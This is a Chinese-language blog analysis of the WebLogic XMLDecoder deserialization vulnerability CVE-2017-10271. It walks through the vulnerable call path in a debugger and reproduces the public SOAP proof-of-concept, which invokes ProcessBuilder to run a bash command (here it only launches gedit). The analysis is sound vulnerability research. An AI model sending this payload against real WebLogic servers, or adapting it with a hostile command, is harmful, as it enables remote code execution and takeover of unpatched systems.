WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析

简介:

12月22号,绿盟科技博客发布一篇文章,里面有提及到weblogic由于存在0day漏洞,导致被植入恶意软件用来挖掘比特币。后来经过确认,这次攻击者所用的漏洞CVE编号为CVE-2017-10271,那么这个漏洞究竟是怎样造成的?

0. 分析环境

  • IDE:Intellij IDEA
  • 中间件版本: weblogic 10.3.6【未进行任何补丁修复】
  • 发包工具: brupsuite

1. 漏洞成因

我们先来看一下,网上公布的poc进行利用后的weblogic返回的响应,公布的利用poc如下:

<?xml version="1.0"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>gedit</string>
                        </void>
                    </array>
                    <void method="start" />
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body />
</soapenv:Envelope>

如下图所示,可以看到返回的是xml数据,而且可以清晰的看到调用栈,调用栈在<ns2:frame />标签中
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析

仔细分析weblogic返回的响应,我们可以大概定位到问题点,我们重点关注<ns2:frame />标签中class以weblogic开头的部分,这部分就是weblogic处理我们请求的调用栈逻辑,weblogic处理完后就到了XMLDecoder
Step 1. 了解处理流程(为了方便查看,调用栈顺序为从上倒下)

  • weblogic.wsee.jaxws.workcontext.WorkContextServerTube->processRequest
  • weblogic.wsee.jaxws.workcontext.WorkContextTube->readHeaderOld
  • weblogic.wsee.jaxws.workcontext.WorkContextServerTube->receive
  • weblogic.workarea.WorkContextMapImpl->receiveRequest
  • weblogic.workarea.WorkContextLocalMap->receiveRequest
  • weblogic.workarea.spi.WorkContextEntryImpl->readEntry
  • weblogic.wsee.workarea.WorkContextXmlInputAdapter->readUTF

Step 2.下断点调试
我们将断点设置在weblogic.wsee.jaxws.workcontext.WorkContextServerTube的processRequest方法中readHeaderOld,如下图所示
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析

Step 3.调试运行,跟踪

  1. processRequest中,var1为我们POST的xml数据,类型为Packet;
    WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析

var3的值有是var2调用get方法后得来的,我们查看一下WorkAreaConstants.WORK_AREA_HEADER的内容,如下图所示
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析

对比Poc内容与WorkAreaContants里面的XML_TAG、WORK_AREA_HEADER,我们不难联想到var2.get方法是用来获取work:WorkContext标签之间的内容。

2.readHeaderOld中,我们直接设置断点到weblogic调用栈最后一个函数WorkContextXmlInputAdapter,查看调用函数的参数值是什么?
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析
可以看到,var4其实对应的是java标签内的代码
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析

3.WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,而XMLDecoder本身是用于将XML文件反序列成java的对象,因而造成的漏洞的发生。
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析

归根结底,还是weblogic犯了编码上的错误,完全信任用户的输入,然后调用XMLDecoder进行反序列,导致了这个漏洞的发生。










本文转自 qq414207614 51CTO博客,原文链接:http://blog.51cto.com/skytina/2055335,如需转载请自行联系原作者
目录
相关文章
|
Web App开发 安全 Java
WebLogic Server 远程代码执行漏洞(CVE-2021-2109)
WebLogic Server 远程代码执行漏洞,攻击者可通过使用恶意Payload对目标服务器实施攻击并接管服务器获取执行权限。
475 1
|
安全 Java 应用服务中间件
WebLogic Server 远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389)
WebLogic Server 存在远程代码执行漏洞,攻击者通过特定Payload对目标服务器进行恶意利用从而获取服务器控制权限,进一步操作。
391 1
|
9月前
|
安全 Oracle 关系型数据库
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
H8
|
安全 网络协议 Java
跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议
Weblogic序列化漏洞主要依赖于T3和IIOP协议,在通信交互方面存在诸多问题,如跨语言、网络传输等,给漏洞检测和利用带来诸多不便。在WhiteHat Labs的理念中,漏洞检测和利用是一项创造性的工作,应该以最简洁高效的方式实现,以保证漏洞的跨平台性和实用性。因此,我们实现了跨语言的IIOP协议通信方案来解决序列化漏洞问题。
H8
328 12
|
XML 安全 Java
WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)
WebLogic EJBTaglibDescriptor 在反序列化的同时会进行XML解析,通过重写EJBTaglibDescriptor中的writeExternal函数生成恶意的序列化数据。
352 1
|
6月前
|
Java 应用服务中间件 Linux
centos7安装weblogic
centos7安装weblogic
149 1
|
负载均衡 Java 应用服务中间件
Weblogic的了解、安装及其使用(三)
Weblogic的了解、安装及其使用
1586 0
|
Oracle Java 关系型数据库
Weblogic的了解、安装及其使用(二)
Weblogic的了解、安装及其使用
1152 0
|
开发框架 Kubernetes 监控
Weblogic的了解、安装及其使用(一)
Weblogic的了解、安装及其使用
3208 0